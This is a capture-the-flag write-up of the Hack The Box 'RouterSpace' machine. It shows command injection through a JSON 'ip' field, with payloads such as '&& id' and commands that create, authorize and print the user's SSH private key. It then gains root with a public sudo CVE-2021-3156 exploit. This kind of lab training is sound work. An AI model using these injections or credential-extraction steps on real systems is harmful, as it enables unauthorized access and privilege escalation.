User Flag

As always, first, I added routerspace.htb to my /etc/hosts file. This is good practice because HTB boxes often use this in some ways.

sudo nano /etc/hosts

Adding routerspace.htb to /etc/hosts

Looking at the web application, there seems to be nothing other than an android app (.apk file) to download.

All of my enumeration techniques like brute forcing paths and subdomains, scanning UDP ports, etc. didn’t return anything interesting.

So I downloaded the apk and tried my hand at some code review. I used apktool to decompile the apk and started to review the code. I also ran snyk code on the source code to see if it would find any vulnerabilities.

Turns out this was a waste of time.

I ended up trying to emulate an Android OS on my machine to catch in Burpsuite whatever requests the app would do.

Following this very well written tutorial : https://www.rootcat.de/blog/anbox_setup_may21/, I succeeded in emulating an Android OS, running the app and catching it’s output traffic via Burpsuite.

The application was making only one request, which was :

POST /api/v4/monitoring/router/dev/check/deviceAccess HTTP/1.1
accept: application/json, text/plain, */*
user-agent: RouterSpaceAgent
Content-Type: application/json
Content-Length: 31
Host: routerspace.htb
Connection: close
Accept-Encoding: gzip, deflate

{"ip":"0.0.0.0"}

Request made by the application

HTTP/1.1 200 OK
X-Powered-By: RouterSpace
X-Cdn: RouterSpace-72493
Content-Type: application/json; charset=utf-8
Content-Length: 11
ETag: W/"b-ANdgA/PInoUrpfEatjy5cxfJOCY"
Date: Sat, 07 May 2022 02:28:08 GMT
Connection: close

"0.0.0.0\n"

Answer from the server

It is worth noting that we didn’t find this path earlier because the server always answers with a 200 OK and the page says “Suspicious activity detected”. Therefore, the only way to fuzz the paths is to filter out the pages that answer with this text, which made a recursive fuzz impossible.

Anyway, the next thing was to try different inputs and see how the server would answer. Eventually, I tried to input && id and the server answered with the output of the command 😑. It looks like the server literally takes the input and passes it to a echo system command. Honestly I was kind of disappointed because no dev would ever code something like that.

POST /api/v4/monitoring/router/dev/check/deviceAccess HTTP/1.1
accept: application/json, text/plain, */*
user-agent: RouterSpaceAgent
Content-Type: application/json
Content-Length: 22
Host: routerspace.htb
Connection: close
Accept-Encoding: gzip, deflate

{"ip":"0.0.0.0 && id"}

Payload to test for command injection

HTTP/1.1 200 OK
X-Powered-By: RouterSpace
X-Cdn: RouterSpace-28031
Content-Type: application/json; charset=utf-8
Content-Length: 60
ETag: W/"3c-sZwJm+90xtMPuuO1H89HShTmFxY"
Date: Sat, 07 May 2022 02:28:34 GMT
Connection: close

"0.0.0.0\nuid=1001(paul) gid=1001(paul) groups=1001(paul)\n"

Server answers with the output of the id command, validating the command injection vulnerability

Weirdly, none of my reverse shell commands worked. It looked like the command wouldn’t work if it contained either < or > , the command couldn’t contain any “ either which made things a little harder.

Since, in the nmap scan, it looked like ssh was enabled on the machine, I instead decided to take a look at the .ssh folder to see if I could simply output the user’s ssh key. That would also make the shell a lot more stable which would make things a lot less painful during the privesc phase.

POST /api/v4/monitoring/router/dev/check/deviceAccess HTTP/1.1
accept: application/json, text/plain, */*
user-agent: RouterSpaceAgent
Content-Type: application/json
Content-Length: 31
Host: routerspace.htb
Connection: close
Accept-Encoding: gzip, deflate

{"ip":"&& ls /home/paul/.ssh/"}

Listing the files inside the .ssh folder

The server returned “\n”, which meant there were no ssh keys for this user. So I decided to generate one for them.

POST /api/v4/monitoring/router/dev/check/deviceAccess HTTP/1.1
accept: application/json, text/plain, */*
user-agent: RouterSpaceAgent
Content-Type: application/json
Content-Length: 31
Host: routerspace.htb
Connection: close
Accept-Encoding: gzip, deflate

{"ip":"&& ssh-keygen -t rsa -N '' -f /home/paul/.ssh/id_rsa"}

Generating a ssh key pair for the user paul

I then added the public key to a authorized_keys file so I could use the ssh key to login onto the server.

POST /api/v4/monitoring/router/dev/check/deviceAccess HTTP/1.1
accept: application/json, text/plain, */*
user-agent: RouterSpaceAgent
Content-Type: application/json
Content-Length: 31
Host: routerspace.htb
Connection: close
Accept-Encoding: gzip, deflate

{"ip":"&& cp /home/paul/.ssh/id_rsa.pub /home/paul/.ssh/authorized_keys"}

Adding the ssh public key to the authorized_keys file

Finaly, I used cat to output the ssh private key so I could use it to authenticate to the server.

POST /api/v4/monitoring/router/dev/check/deviceAccess HTTP/1.1
accept: application/json, text/plain, */*
user-agent: RouterSpaceAgent
Content-Type: application/json
Content-Length: 31
Host: routerspace.htb
Connection: close
Accept-Encoding: gzip, deflate

{"ip":"&& cat /home/paul/.ssh/id_rsa"}

Using cat to output the content of the id_rsa file

I copied and pasted the output to a local file that I named id_rsa. Last thing before we can connect to the server, we need to change the file’s permissions or else ssh will violently scream at us.

chmod 600 id_rsa

Changing id_rsa’s permissions

Finally, I could connect to the server via ssh using the private key.

ssh paul@routerspace.htb -i id_rsa

Connecting to the server using the private key

paul@routerspace:~$ id
uid=1001(paul) gid=1001(paul) groups=1001(paul)

We are nom connected on the server as the user paul

Root Flag

For the privesc part, I first uploaded linpeas.sh. To do so, neither scp or starting a local web sever with python worked (which was weird because it never happened before), so I just copied the content of linpeas.sh into a file that I wrote using nano.

After I ran linpeas.sh and after looking at a lot of rabbit holes, I decided to google the sudo version, just in case it was that simple.

╔══════════╣ Sudo version
╚ https://book.hacktricks.xyz/linux-unix/privilege-escalation#sudo-version
Sudo version 1.8.31

And yup, the sudo version was vulnerable to CVE-2021-3156. I even found an exploit made especially for this version : Embed GitHub

After copy/pasting the content of each file, I ran Make, and ran the script, which opened a root shell.

paul@routerspace:~/CVE-2021-3156$ ls
exploit.c  Makefile  shellcode.c
paul@routerspace:~/CVE-2021-3156$ make
mkdir libnss_x
cc -O3 -shared -nostdlib -o libnss_x/x.so.2 shellcode.c
cc -O3 -o exploit exploit.c
paul@routerspace:~/CVE-2021-3156$ ls
exploit  exploit.c  libnss_x  Makefile  shellcode.c
paul@routerspace:~/CVE-2021-3156$ ./exploit

Compiling and running the exploit to gain a root shell

# id
uid=0(root) gid=0(root) groups=0(root),1001(paul)